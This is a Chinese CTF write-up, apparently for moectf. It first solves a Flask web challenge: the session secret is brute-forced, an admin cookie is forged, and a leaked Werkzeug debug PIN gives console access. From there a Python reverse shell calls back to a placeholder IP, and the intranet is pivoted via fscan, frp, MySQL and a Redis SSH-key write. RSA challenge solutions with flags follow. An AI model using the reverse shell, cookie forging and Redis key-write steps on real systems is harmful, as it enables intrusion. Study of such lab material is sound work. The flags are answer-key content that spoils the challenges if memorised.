            username = session['user']
            nowtime = str(datetime.datetime.now())
            if 'private' in request.form:
                private = 1
            else:
                private = 0
            if message == '':
                return '''<script>alert("invalid input");window.location.href="/index";</script>'''
            dataSql.uploadMessage(username, message, nowtime, private)
            return '''<script>alert("upload successfully");window.location.href="/index";</script>'''
    else:
        return redirect('/login')


@app.route('/delete', methods=['GET'])
def delete():
    if 'user' in session:
        psg = request.args.get('psg')
        msg = list(dataSql.showMessage())
        for i in range(len(msg)):
            h1 = md5()
            h1.update(str(msg[i][2]).encode(encoding='utf-8'))
            h2 = h1.hexdigest()
            if (msg[i][0] == session['user'] or session['power'] == 'root') and h2 == psg:
                dataSql.deleteMessage(msg[i][0], msg[i][2])
                return redirect('/index')
        return '''<script>alert("Permission denied");window.location.href="/index";</script>'''
    else:
        return '''<script>alert("login first");window.location.href="/index";</script>'''


@app.route('/index/api/getMessage', methods=['GET'])
def getMessage():
    username = request.args.get('username')
    password = request.args.get('password')
    if(username == None or password == None):
        return {'status': 'failed', 'message': 'invalid input'}
    elif(not dataSql.canLogin(username, password)):
        return {'status': 'failed', 'message': 'username or password incorrect'}
    elif(dataSql.canLogin(username, password)):
        msg = getMsgList()
        if dataSql.getPower(username) == 'guest':
            for i in msg:
                # remove the message send by other user on private condition
                if i[3] == "1" and username != i[0]:
                    msg.remove(i)
        return msg


def getMsgList():
    msg = list(dataSql.showMessage())
    for i in range(len(msg)):
        h1 = md5()
        h1.update(str(msg[i][2]).encode(encoding='utf-8'))
        msg[i] += tuple([h1.hexdigest()])
    return msg


if __name__ == '__main__':
    app.run(host = "0.0.0.0", debug=True, port=8000)

datasql.py

查看代码
 import pymysql
import time
import getPIN

pin = getPIN.get_pin()

class Database:
    def __init__(self, max_retries=3):
        self.max_retries = max_retries
        self.db = None

    def __enter__(self):
        self.db = self.connect_to_database()
        return self.db, self.db.cursor()

    def __exit__(self, exc_type, exc_val, exc_tb):
        if self.db and self.db.open:
            self.db.close()

    def connect_to_database(self):
        retries = 0
        while retries < self.max_retries:
            try:
                db = pymysql.connect(
                    host="mysql",  # 数据库地址
                    port=3306,  # 数据库端口
                    user="root",  # 数据库用户名
                    passwd="The_P0sswOrD_Y0u_Nev3r_Kn0w",  # 数据库密码
                    database="messageboard",  # 数据库名
                    charset='utf8'
                )
                return db
            except pymysql.Error as e:
                retries += 1
                print(f"Connection attempt {retries} failed. Retrying in 5 seconds...")
                time.sleep(5)
        raise Exception("Failed to connect to the database after maximum retries.")

def canLogin(username,password):
    with Database() as (db, cursor):
        sql = 'select password from users where username=%s'
        cursor.execute(sql, username)
        res = cursor.fetchall()
        if res:
            if res[0][0] == password:
                return True
        return False

def register(id,username,password,power):
    with Database() as (db, cursor):
        sql = 'select username from users where username=%s'
        cursor.execute(sql, username)
        res = cursor.fetchall()
        if res:
            return False
        else:
            sql = 'insert into users (id,username,password,power) values (%s,%s,%s,%s)'
            cursor.execute(sql, (id,username,password,power))
            db.commit()
            return True

def changePassword(username,oldPassword,newPassword):
    with Database() as (db, cursor):
        sql = 'select password from users where username=%s'
        cursor.execute(sql, username)
        res = cursor.fetchall()
        if res:
            if oldPassword == res[0][0]:
                sql = 'update users set password=%s where username=%s'
                cursor.execute(sql, (newPassword,username))
                db.commit()
                return True
            else:
                return "wrong password"
        else:
            return "username doesn't exist."

def uploadMessage(username,message,nowtime,private):
    with Database() as (db, cursor):
        sql = 'insert into message (username,data,time,private) values (%s,%s,%s,%s)'
        cursor.execute(sql, (username,message,nowtime,private))
        db.commit()
        return True

def showMessage():
    with Database() as (db, cursor):
        sql = 'select * from message'
        cursor.execute(sql)
        res = cursor.fetchall()
        res = [tuple([str(elem).replace('128-243-397', pin) for elem in i]) for i in res]
        return res

def usersName():
    with Database() as (db, cursor):
        sql = 'select * from users'
        cursor.execute(sql)
        res = cursor.fetchall()
        return len(res)

def getPower(username):
    with Database() as (db, cursor):
        sql = 'select power from users where username=%s'
        cursor.execute(sql, username)
        res = cursor.fetchall()
        return res[0][0]

def deleteMessage(username,pubTime):
    with Database() as (db, cursor):
        sql = 'delete from message where username=%s and time=%s'
        cursor.execute(sql,(username,pubTime))
        db.commit()
        return True

getPIN.py

查看代码
 import hashlib
from itertools import chain
import uuid
def get_pin():
    probably_public_bits = [
        'root'# username  /proc/self/environ
        'flask.app',# modname
        'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
        '/usr/local/lib/python3.9/site-packages/flask/app.py' # getattr(mod, '__file__', None),
    ]
    uuid1 = str(uuid.getnode())
    linux = b""

        # machine-id is stable across boots, boot_id is not.
    for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
        try:
            with open(filename, "rb") as f:
                value = f.readline().strip()
        except OSError:
            continue

        if value:
            linux += value
            break

    # Containers share the same machine id, add some cgroup
    # information. This is used outside containers too but should be
    # relatively stable across boots.
    try:
        with open("/proc/self/cgroup", "rb") as f:
            linux += f.readline().strip().rpartition(b"/")[2]
    except OSError:
        pass
    linux = linux.decode('utf-8')
    private_bits = [
        uuid1,
        linux,
    ]
    h = hashlib.sha1()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
                continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = f"__wzd{h.hexdigest()[:20]}"

    num = None
    if num is None:
        h.update(b"pinsalt")
        num = f"{int(h.hexdigest(), 16):09d}"[:9]

    rv=None
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num

    return rv

分析代码需要伪造session会话然后登录管理员账号

app.secret_key = "This-random-secretKey-you-can't-get" + os.urandom(2).hex()
#关键代码为这一行前面值固定后面不唯一系统随机生成使用python脚本进行暴力枚举

这个题目和下面这个题目非常相似

https://blog.csdn.net/Sapphire037/article/details/126919498

import os
with open('dict.txt','w') as f:
	for i in range(1,50000):
		a="This-random-secretKey-you-can't-get"+os.urandom(2).hex()
		f.write(a)
		f.write('\n')

https://github.com/Paradoxis/Flask-Unsign

flask-unsign工具可以通过字典爆破key

先注册一个用户来获取当前的session指令如下:

flask-unsign.exe --unsign --cookie "eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6ImFiY2QifQ.ZQ6D4A.1l_objuFHXoApsS1mvzzMsl9k2w" --wordlist .\dict.txt

使用flask-session-cookie-manager 工具对获取的key进行加密管理员session

python.exe .\flask_session_cookie_manager3.py encode -s "This-random-secretKey-you-can't-get872e" -t "{'power': 'admin', 'user': 'abcd'}"

替换掉原本session进行登录可发现pin泄露

有了该pin码可访问给出的console接口从而执行任意命令

http://47.115.201.35:8000/console

目前外网基本拿下了,接下来需要内网渗透,根据题目提示需要读取根目录的提示文件,找到readme

由于该页面操作不是特别友好反弹一个shell在vps上以便后续操作

反弹shell生成网站:https://www.ddosi.org/shell/

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your-ip",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")

根据前面的提示需要对内网进行扫描,使用fscan工具对其它主机进行初步判断

172.20.0.1:888 open
172.20.0.2:22 open
172.20.0.1:22 open
172.20.0.1:21 open
172.20.0.2:6379 open
172.20.0.4:8080 open
172.20.0.1:80 open
172.20.0.3:3306 open
172.20.0.1:3306 open
172.20.0.1:7777 open

排除网关地址存在mysql和redis根据题目要求可解出第二个压缩包密码

22-3306-6379-8080

当你看到此部分,证明你正确的进行了fscan的操作得到了正确的结果
可以看到,在本内网下还有另外两台服务器
其中一台开启了22(ssh)和6379(redis)端口
另一台开启了3306(mysql)端口
还有一台正是你访问到的留言板服务
接下来,你可能需要搭建代理,从而使你的本机能直接访问到内网的服务器
此处可了解`nps`和`frp`,同样在/app/tools已内置了相应文件
连接代理,推荐`proxychains`
对于mysql服务器,你需要找到其账号密码并成功连接,在数据库中找到flag2
对于redis服务器,你可以学习其相关的渗透技巧,从而获取到redis的权限,并进一步寻找其getshell的方式,最终得到flag3

到这里就需要搭建代理进行内网渗透。推荐frp进行内网穿透,VPS搭建好服务端

基本配置如下:

[common]
bind_port = 7000

接下来是客户端配置:

[common]
server_addr=vps-addr
server_port=7000
[socks5_proxy]
remote_port = 6005
plugin = socks5
[mysql]
type = tcp
local_ip = 172.20.0.3
local_port = 3306
remote_port = 6001

由于反弹shell不太好写入,因此只能一行一行的写入

linux之echo写入单行文件,cat写入多行文件

链接VPS IP即可。密码在网站根目录有给出

passwd="The_P0sswOrD_Y0u_Nev3r_Kn0w"

kali输入指令:

mysql -u root -h 172.20.0.3 -P 6001 -p

然后输入密码进行数据库查询。

The_P0sswOrD_Y0u_Nev3r_Kn0w

redis未授权访问漏洞三种提权方式

[redis]
type = tcp
local_ip = 172.20.0.2
local_port = 6379
remote_port = 6002
[ssh]
type = tcp
local_ip = 172.20.0.2
local_port = 22
remote_port = 6003
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat /root/.ssh/key.txt | redis-cli -h vps-ip -p 6002 -x set xxx

写入ssh公钥使用vps私钥连接即可同时也需要挂上代理

ssh -i id_rsa root@vps-ip -p 6003

🔑Crypto

一、Crypto 入门指北

1、题目提示:

flag是例题的flag

2、解题方法:

打开附件看最后面脚本,运行就得到flag了

from Crypto.Util.number import * # 一个非常好用的crypto库

p = 0xe82a76eeb5ac63e054128e040171630b993feb33e0d3d38fbb7c0b54df3a2fb9b5589d1205e0e4240b8fcb4363acaa4c3c44dd6e186225ebf3ce881c7070afa7
q = 0xae5c2e450dbce36c8d6d1a5c989598fc01438f009f9b4c29352d43fd998d10984d402637d7657d772fb9f5e4f4feee63b267b401b67704979d519ad7f0a044eb
c = 0x4016bf1fe655c863dd6c08cbe70e3bb4e6d4feefacaaebf1cfa2a8d94051d21e51919ea754c1aa7bd1674c5330020a99e2401cb1f232331a2da61cb4329446a17e3b9d6b59e831211b231454e81cc8352986e05d44ae9fcd30d68d0ce288c65e0d22ce0e6e83122621d2b96543cec4828f590af9486aa57727c5fcd8e74bd296
e = 65537
n = p*q
phi = (p-1) * (q-1) # 你知道什么是 欧拉函数吗 [1]
d = pow(e, -1, phi) # 什么是乘法逆元? [2]
m = pow(c,d,n)
print(long_to_bytes(m))#moectf{weLCome_To_moeCTf_CRypTo_And_enjoy_THis_gAme!_THis_is_yoUR_fLAg!}

二、baby_e

1、题目提示:

~~小小的也很可爱~~

2、解题方法:

from Crypto.Util.number import getPrime,bytes_to_long

p,q = getPrime(2048),getPrime(2048)
e = 7
n = p*q
m = bytes_to_long(open('flag.txt','rb').read().strip())
c = pow(m,e,n)
print("c = ",c)
print("n = ",n)

# c =  147693154873835354725007152781732424355869776162377337823960431913672366269917723916891506269449726723757821517328874729037838600793748824028829185409932536014732765063216715033843955453706710187792772702199448156372644163429786386035008302836467605094954587157232829525150652611067567669525072625329634860065850520051628272535479197120008981979404760445193750864902244921407742155742716289495581989134730376783828846663464819337418977287363028738701414486788851136608957124505485242331701209645216580641917007780811842757125048746184068597664780265422321550909392419865169775282217442331295071069272774722564587602419768461231775480847018941840911357926330143045826277813722919121117172763493242590521245640828462665947672485094793188432098216701511715232654611338293295459889814699850788048985878279440740712956248569068077253790198036918598519191892836075254345518967666166925163908185663991353344555402397055977817370082929420443034626201745027965444069777059760865359310439815816749939498993014457995041394803598825093836045546578310632172636478575946653375857640993393714607308326474003446154152048840071034349831168612740218034679021240949747357214453636633636662650940968576792518622437627529244515229173
# n =  553409369582823237678532685244026647155180191225879439432235077135813123637186465008813830373646133388592395760175777499266561095087891764348044063111935877931069321764391883899483374576303169645488542398590564148654412004383012178107972880058460460806768779452529433458826925606225797078653905380530651390617109384086518728626571028089036812787671647095695947167204428442727185744172445701874820612799168887428075695751162763647868386879374037826876671079326544820609721731078985096813307183878793033824330869698508952853770794414757655681370862323768018291030331209143189638496644361618184164228294031490537429556439588954274708598530042700988138862000054458742762198052079867259365645914383561162796796952346445529346145323567650621600171442575319262718389389870407629339714751583360252884338116164466349449862781112019462555743429653595045695696967783338371470032332852204294900011651434678829104876529439166176589508898757122660322523937330848536715937381297551894198974459004139082562228022412335520195652419375915216074658463954339332593244483927157329404652516225481116614815221154229491846087288087715884363786672244655901308480290011237244562251084095684531716327141154558809471185132979704992609461470501119328696999713829

e很小,(低加密指数)

#解题脚本 (可发现有个e=7属于低加密指数攻击):
from Crypto.Util.number import long_to_bytes
from gmpy2 import iroot
c1 = 147693154873835354725007152781732424355869776162377337823960431913672366269917723916891506269449726723757821517328874729037838600793748824028829185409932536014732765063216715033843955453706710187792772702199448156372644163429786386035008302836467605094954587157232829525150652611067567669525072625329634860065850520051628272535479197120008981979404760445193750864902244921407742155742716289495581989134730376783828846663464819337418977287363028738701414486788851136608957124505485242331701209645216580641917007780811842757125048746184068597664780265422321550909392419865169775282217442331295071069272774722564587602419768461231775480847018941840911357926330143045826277813722919121117172763493242590521245640828462665947672485094793188432098216701511715232654611338293295459889814699850788048985878279440740712956248569068077253790198036918598519191892836075254345518967666166925163908185663991353344555402397055977817370082929420443034626201745027965444069777059760865359310439815816749939498993014457995041394803598825093836045546578310632172636478575946653375857640993393714607308326474003446154152048840071034349831168612740218034679021240949747357214453636633636662650940968576792518622437627529244515229173
m = iroot(c1,7)[0]
print(long_to_bytes(m).decode())
#moectf{SMaLL_3xPon3nt_Mak3_rSa_w3ak!_!lP0iYlJf!M3rux9G9Vf!JoxiMl903lllA}

#小贴士:c=m**e mod n ,当n非常大时,c很小时可把对n求模省略,近似认为c=m**e

三、bad_E

1、题目描述:

CHALLENGE: bad_E
DESCRIPTION: 你这个e怎么解密不了啊,怎么会事呢?

2、附件信息:

from Crypto.Util.number import *
p = getPrime(512)
q = getPrime(512)
e = 65537

print(p) # 6853495238262155391975011057929314523706159020478084061020122347902601182448091015650787022962180599741651597328364289413042032923330906135304995252477571
print(q) # 11727544912613560398705401423145382428897876620077115390278679983274961030035884083100580422155496261311510530671232666801444557695190734596546855494472819

with open("flag.txt","r") as fs:
    flag = fs.read().strip()

m = bytes_to_long(flag.encode())
c = pow(m,e,p*q)
print(c) # 63388263723813143290256836284084914544524440253054612802424934400854921660916379284754467427040180660945667733359330988361620691457570947823206385692232584893511398038141442606303536260023122774682805630913037113541880875125504376791939861734613177272270414287306054553288162010873808058776206524782351475805

3、解题脚本:

用基础方法解不出来,原因是e与phi_n不互素,又phi_n = (p-1)*(q-1),求gcd(e,(p-1))和gcd(e,(q-1)),发现e与q-1互素。把e*d = 1 mod (p-1)*(q-1)和m = c ^ d mod p*q拆开,利用含q的部分求解即可:

    e*d = 1 mod (q-1)

    m = c ^ d mod q

from gmpy2 import *
from Crypto.Util.number import *
 
e = 65537
p = 6853495238262155391975011057929314523706159020478084061020122347902601182448091015650787022962180599741651597328364289413042032923330906135304995252477571
q = 11727544912613560398705401423145382428897876620077115390278679983274961030035884083100580422155496261311510530671232666801444557695190734596546855494472819
c = 63388263723813143290256836284084914544524440253054612802424934400854921660916379284754467427040180660945667733359330988361620691457570947823206385692232584893511398038141442606303536260023122774682805630913037113541880875125504376791939861734613177272270414287306054553288162010873808058776206524782351475805
n = p*q
 
phi_n = (p-1)*(q-1)
print(gcd(e,p-1))
d = invert(e,(q-1))
m = pow(c,d,q)
print(long_to_bytes(m))
#moectf{N0w_Y0U_hAve_kN0w_h0w_rsA_w0rks!_f!lP0iYlJf!M3ru}

四、factor_signin

1、题目信息:

CHALLENGE: factor_signin
DESCRIPTION: 坏了,p q被狗子吃了

2、附件信息:

from Crypto.Util.number import getPrime
from math import prod

with open("flag.txt","rb") as f:
    flag = f.read().strip()
assert len(flag) == 72

m1 = int.from_bytes(flag[:36],"big")
m2 = int.from_bytes(flag[36:],"big")

e = 65537

p,q = getPrime(2048),getPrime(2048)
n1 = p*q
c1 = pow(m1,e,n1)
print("c1 = ",c1)
print("n1 = ",n1)

primes = [getPrime(64) for _ in range(32)]
n2 = prod(primes)
c2 = pow(m2,e,n2)
print("c2 = ",c2)
print("n2 = ",n2)

# c1 =  10004937130983861141937782436252502991050957330184611684406783226971057978666503675149401388381995491152372622456604317681236160071166819028679754762162125904637599991943368450200313304999566592294442696755822585022667008378021280392976010576970877334159755332946926433635584313137140987588847077645814987268595739733550220882135750267567373532603503399428451548677091911410732474324157868011686641243202218731844256789044721309478991918322850448456919991540932206923861653518190974620161055008847475600980152660468279765607319838003177639654115075183493029803981527882155542925959658123816315099271123470754815045214896642428657264709805029840253303446203030294879166242867850331945166255924821406218090304893024711068773287842075208409312312188560675094244318565148284432361706108491327014254387317744284876018328591380705408407853404828189643214087638328376675071962141118973835178054884474523241911240926274907256651801384433652425740230755811160476356172444327762497910600719286629420662696949923799255603628210458906831175806791599965316549386396788014703044837917283461862338269599464440202019922379625071512100821922879623930069349084917919100015782270736808388388006084027673781004085620817521378823838335749279055639005125
# n1 =  343504538870081878757729748260620800783581983635281373321527119223374418103340873199654926888439040391545101913132680017655039577253974802351999985470115474655124168592386965001556620077117966153475518658881140827499124290142523464795351995478153288872749817655925271395693435582010998996210909883510311066017237567799370371513462802547313382594409676803895262837061350017911885033133654781876923251129406855067993830824618637981136966134029212516871210627954762147349788788999116702635535406398258621926040887099782494271000823401788337120154104692934583729065189687995570122890809807661370008740283447636580308161498808092269041815719148127168137018600113465985504975054319601741498799761500526467431533990903047624407330243357514588557352746347337683868781554819821575385685459666842162355673947984514687068626166144076257334426612302554448774082488600083569900006274897032242821388126274957846236552373226099112200392102883351088570736254707966329366625911183721875374731791052229266503696334310835323523568132399330263642353927504971311717117370721838701629885670598853025212521537158141447625623337563164790788106598854822686494249848796441153496412236527242235888308435573209980270776407776277489669763803746640746378181948641
# c2 =  4948422459907576438725352912593232312182623872749480015295307088166392790756090961680588458629287353136729331282506869598853654959933189916541367579979613191505226006688017103736659670745715837820780269669982614187726024837483992949073998289744910800139692315475427811724840888983757813069849711652177078415791290894737059610056340691753379065563574279210755232749774749757141836708161854072798697882671844015773796030086898649043727563289757423417931359190238689436180953442515869613672008678717039516723747808793079592658069533269662834322438864456440701995249381880745586708718334052938634931936240736457181295
# n2 =  8582505375542551134698364096640878629785534004976071646505285128223700755811329156276289439920192196962008222418309136528180402357612976316670896973298407081310073283979903409463559102445223030866575563539261326076167685019121804961393115251287057504682389257841337573435085535013992761172452417731887700665115563173984357419855481847035192853387338980937451843809282267888616833734087813693242841580644645315837196205981207827105545437201799441352173638172133698491126291396194764373021523547130703629001683366722885529834956411976212381935354905525700646776572036418453784898084635925476199878640087165680193737

3、解题脚本:

两步走:

#第一部分,常规解法RSA基础
import gmpy2
from Crypto.Util.number import *
n1 =343504538870081878757729748260620800783581983635281373321527119223374418103340873199654926888439040391545101913132680017655039577253974802351999985470115474655124168592386965001556620077117966153475518658881140827499124290142523464795351995478153288872749817655925271395693435582010998996210909883510311066017237567799370371513462802547313382594409676803895262837061350017911885033133654781876923251129406855067993830824618637981136966134029212516871210627954762147349788788999116702635535406398258621926040887099782494271000823401788337120154104692934583729065189687995570122890809807661370008740283447636580308161498808092269041815719148127168137018600113465985504975054319601741498799761500526467431533990903047624407330243357514588557352746347337683868781554819821575385685459666842162355673947984514687068626166144076257334426612302554448774082488600083569900006274897032242821388126274957846236552373226099112200392102883351088570736254707966329366625911183721875374731791052229266503696334310835323523568132399330263642353927504971311717117370721838701629885670598853025212521537158141447625623337563164790788106598854822686494249848796441153496412236527242235888308435573209980270776407776277489669763803746640746378181948641
p=18055722101348711626577381571859114850735298658417345663254295930584841136416234624852520581982069555948490061840244710773146585295336094872892685938420880462305333393436098181186277450475949236132458958671804132443554885896037342335902958516394876382378829317303693655605215373555988755516058130500801822723195474873517960624159417903134580987202400855946137101429970119186394052011747475879598126195607938106163892658285305921071673588966184054026228745012993740035399652049777986535759039077634555909031397541116025395236871778797949216479130412500655359057128438928721459688727543057760739527720641179290282309741
q=19024691283015651666032297670418553586155390575928421823630922553034857624430114628839720683172187406577114034710093054198921843669645736474448836706112221787749688565566635453151716934583685087745112614898780150391513798368931496744574075511968933800467288441832780919514199410584786925010518564670786685241724643282580795568609339268652910564215887176803735675069372979560024792322029911970574914829712553975379661212645059271137916107885326625543090473004683836665262304916304580076748336858662108554591235698235221618061328251985929904075811056422186525179189846420226944944513865790999242309352900287977666792901
c1=10004937130983861141937782436252502991050957330184611684406783226971057978666503675149401388381995491152372622456604317681236160071166819028679754762162125904637599991943368450200313304999566592294442696755822585022667008378021280392976010576970877334159755332946926433635584313137140987588847077645814987268595739733550220882135750267567373532603503399428451548677091911410732474324157868011686641243202218731844256789044721309478991918322850448456919991540932206923861653518190974620161055008847475600980152660468279765607319838003177639654115075183493029803981527882155542925959658123816315099271123470754815045214896642428657264709805029840253303446203030294879166242867850331945166255924821406218090304893024711068773287842075208409312312188560675094244318565148284432361706108491327014254387317744284876018328591380705408407853404828189643214087638328376675071962141118973835178054884474523241911240926274907256651801384433652425740230755811160476356172444327762497910600719286629420662696949923799255603628210458906831175806791599965316549386396788014703044837917283461862338269599464440202019922379625071512100821922879623930069349084917919100015782270736808388388006084027673781004085620817521378823838335749279055639005125
e = 65537
d1=gmpy2.invert(e,(p-1)*(q-1))
m1=pow(c1,d1,n1)
print(long_to_bytes(m1))
#moectf{fACtord6_And_YAfu_Are_6oth_go

#第二部分,N分解出多个因子模型
import gmpy2
from Crypto.Util.number import long_to_bytes
n2 = 8582505375542551134698364096640878629785534004976071646505285128223700755811329156276289439920192196962008222418309136528180402357612976316670896973298407081310073283979903409463559102445223030866575563539261326076167685019121804961393115251287057504682389257841337573435085535013992761172452417731887700665115563173984357419855481847035192853387338980937451843809282267888616833734087813693242841580644645315837196205981207827105545437201799441352173638172133698491126291396194764373021523547130703629001683366722885529834956411976212381935354905525700646776572036418453784898084635925476199878640087165680193737
e = 65537
c2 = 4948422459907576438725352912593232312182623872749480015295307088166392790756090961680588458629287353136729331282506869598853654959933189916541367579979613191505226006688017103736659670745715837820780269669982614187726024837483992949073998289744910800139692315475427811724840888983757813069849711652177078415791290894737059610056340691753379065563574279210755232749774749757141836708161854072798697882671844015773796030086898649043727563289757423417931359190238689436180953442515869613672008678717039516723747808793079592658069533269662834322438864456440701995249381880745586708718334052938634931936240736457181295

p1=9949603102225364603
p2=10049235158029375571
p3=10547615587767500213
p4=10596280721192026229
p5=10864078180916418691
p6=11092420583960163379
p7=11853704782834170959
p8=12034779627328165471
p9=12404642343676224637
p10=12448177342966243757
p11=13062839684118954553
p12=13645878578452317313
p13=14397830993057803133
p14=14619040595108594017
p15=14678737767649343977
p16=14745811312384518031
p17=14813953870710226847
p18=15175734709842430433
p19=15211380502610462057
p20=15332916111580607077
p21=15751974537676958401
p22=16123604149048919099
p23=16408421615173973083
p24=16870346804576162551
p25=17093292308638969889
p26=17265001711647542137
p27=17289161209347211817
p28=17543713628803023199
p29=17673334943789572513
p30=18106525049998616747
p31=18345408081492711641
p32=18390046459144888243 

phi = (p1 - 1) * (p2 - 1) * (p3 - 1) * (p4 - 1) * (p5 - 1) * (p6 - 1) * (p7 - 1) * (p8 - 1) * (p9 - 1) * (p10 - 1) * (p11 - 1) * (p12 - 1) * (p13 - 1) * (p14 - 1) * (p15 - 1) * (p16 - 1) * (p17 - 1) * (p18 - 1) * (p19 - 1) * (p20 - 1) * (p21 - 1) * (p22 - 1) * (p23 - 1) * (p24 - 1) * (p25 - 1) * (p26 - 1) * (p27 - 1) * (p28 - 1) * (p29 - 1) * (p30 - 1) * (p31 - 1) * (p32 - 1)
d = gmpy2.invert(e, phi)
m2 = pow(c2, d, n2)
print(long_to_bytes(m2))
#od_utils_to_fACtorize_num6ers_ff90S}

五、n&n

1、附件信息:

查看代码
 from Crypto.Util.number import *

p = getPrime(1024)
q = getPrime(1024)

with open("flag.txt","r") as f:
    flag = f.read().strip().encode()

m = bytes_to_long(flag)
n = p * q
e1 = 0x114514
e2 = 19198101

c1 = pow(m,e1,n)
c2 = pow(m,e2,n)
print(c1) 
print(c2)
print(n)

# 5776799746376051463605370130675046329799612910435315968508603116759552095183027263116443417343895252766060748671845650457077393391989018107887540639775168897954484319381180406512474784571389477212123123540984850033695748142755414954158933345476509573211496722528388574841686164433315356667366007165419697987147258498693175698918104120849579763098045116744389310549687579302444264316133642674648294049526615350011916160649448726069001139749604430982881450187865197137222762758538645387391379108182515717949428258503254717940765994927802512049427407583200118969062778415073135339774546277230281966880715506688898978925
# 4664955020023583143415931782261983177552050757537222070347847639906354901601382630034645762990079537901659753823666851165175187728532569040809797389706253282757017586285211791297567893874606446000074515260509831946210526182765808878824360460569061258723122198792244018463880052389205906620425625708718545628429086424549277715280217165880900037900983008637302744555649467104208348070638137050458275362152816916837534704113775562356277110844168173111385779258263874552283927767924979691542028126412133709129601685315027689094437957165812994784648540588277901241854031439324974562449032290219652206466731675967045633360
# 13612969130810965900902742090064423006385890357159609755971027204203418808937093492927060428980020085273603754747223030702684866992231913349067578014240319426522039068836171388168087260774376277346092066880984406890296520951318296354893551565670293486797637522297989653182109744864444697818991039473180752980752117041574628063002176339235126861152739066489620021077091941250365101779354009854706729448088217051728432010328667839532327286559570597994183126402340332924370812383312664419874352306052467284992411543921858024469098268800500500651896608097346389396273293747664441553194179933758992070398387066135330851531

2、解题脚本:

共模攻击

from gmpy2 import invert
import binascii
def gongmo(n, c1, c2, e1, e2):
    def egcd(a, b):
        if b == 0:
            return a, 0
        else:
            x, y = egcd(b, a % b)
            return y, x - (a // b) * y
    s = egcd(e1, e2)
    s1 = s[0]
    s2 = s[1]

    # 求模反元素
    if s1 < 0:
        s1 = - s1
        c1 = invert(c1, n)
    elif s2 < 0:
        s2 = - s2
        c2 = invert(c2, n)
    m = pow(c1, s1, n) * pow(c2, s2, n) % n
    return m
c1 = 5776799746376051463605370130675046329799612910435315968508603116759552095183027263116443417343895252766060748671845650457077393391989018107887540639775168897954484319381180406512474784571389477212123123540984850033695748142755414954158933345476509573211496722528388574841686164433315356667366007165419697987147258498693175698918104120849579763098045116744389310549687579302444264316133642674648294049526615350011916160649448726069001139749604430982881450187865197137222762758538645387391379108182515717949428258503254717940765994927802512049427407583200118969062778415073135339774546277230281966880715506688898978925
c2 = 4664955020023583143415931782261983177552050757537222070347847639906354901601382630034645762990079537901659753823666851165175187728532569040809797389706253282757017586285211791297567893874606446000074515260509831946210526182765808878824360460569061258723122198792244018463880052389205906620425625708718545628429086424549277715280217165880900037900983008637302744555649467104208348070638137050458275362152816916837534704113775562356277110844168173111385779258263874552283927767924979691542028126412133709129601685315027689094437957165812994784648540588277901241854031439324974562449032290219652206466731675967045633360
n = 13612969130810965900902742090064423006385890357159609755971027204203418808937093492927060428980020085273603754747223030702684866992231913349067578014240319426522039068836171388168087260774376277346092066880984406890296520951318296354893551565670293486797637522297989653182109744864444697818991039473180752980752117041574628063002176339235126861152739066489620021077091941250365101779354009854706729448088217051728432010328667839532327286559570597994183126402340332924370812383312664419874352306052467284992411543921858024469098268800500500651896608097346389396273293747664441553194179933758992070398387066135330851531
e1 = 0x114514
e2 = 19198101
result = gongmo(n, c1, c2, e1, e2)
print(result)

print(binascii.unhexlify(hex(result)[2:].strip("L")))
#moectf{dO_nOt_u53_5AM3_MOdulu5_tO_3ncrYPt_dIFF3r3nt_dAtA!_JY63x33iiA0Ji}

六、|p-q|

这个比较简单,就把附件和脚本放一起了(

""" with open("flag.txt","rb") as fs:
    flag = fs.read().strip()
assert len(flag) == 72

m = int.from_bytes(flag,"big")

from Crypto.Util.number import getPrime, isPrime

def next_prime(p):
    while True:
        p += 2
        if isPrime(p):
            return p

p = getPrime(2048)
q = next_prime(p)
n = p * q
e = 65537
c = pow(m,e,n)
print("n =",n)
print("c =",c) """

# n = 329960318345010350458589325571454799968957932130539403944044204698872359769449414256378111233592533561892402020955736786563103586897940757198920737583107357264433730515123570697570757034221232010688796344257587359198400915567115397034901247038275403825404094129637119512164953012131445747740645183682571690806238508035172474685818036517880994658466362305677430221344381425792427288500814551334928982040579744048907401043058567486871621293983772331951723963911377839286050368715384227640638031857101612517441295926821712605955984000617738833973829140899288164786111118033301974794123637285172303688427806450817155786233788027512244397952849209700013205803489334055814513866650854230478124920442832221946442593769555237909177172933634236392800414176981780444770542047378630756636857018730168151824307814244094763132088236333995807013617801783919113541391133267230410179444855465611792191833319172887852945902960736744468250550722314565805440432977225703650102517531531476188269635151281661081058374242768608270563131619806585194608795817118466680430500830137335634289617464844004904410907221482919453859885955054140320857757297655475489972268282336250384384926216818756762307686391740965586168590784252524275489515352125321398406426217
# c = 307746143297103281117512771170735061509547958991947416701685589829711285274762039205145422734327595082350457374530975854337055433998982493020603245187129916580627539476324521854057990929173492940833073106540441902619425074887573232779899379436737429823569006431370954961865581168635086246592539153824456681688944066925973182272443586463636373955966146029489121226571408532284480270826510961605206483011204059402338926815599691009406841471142048842308786000059979977645988396524814553253493672729395573658564825709547262230219183672493306100392069182994445509803952976016630731417479238769736432223194249245020320183199001774879893442186017555682902409661647546547835345461056900610391514595370600575845979413984555709077635397717741521573798309855584473259503981955303774208127361309229536010653615696850725905168242705387575720694946072789441481191449772933265705810128547553027708513478130258801233619669699177901566688737559102165508239876805822898509541232565766265491283807922473440397456701500524925191214292669986798631732639221198138026031561329502985577205314190565609214349344303324429408234237832110076900414483795318189628198913032900272406887003325858236057373096880675754802725017537119549989304878960436575670784578550

import gmpy2
from Crypto.Util.number import long_to_bytes
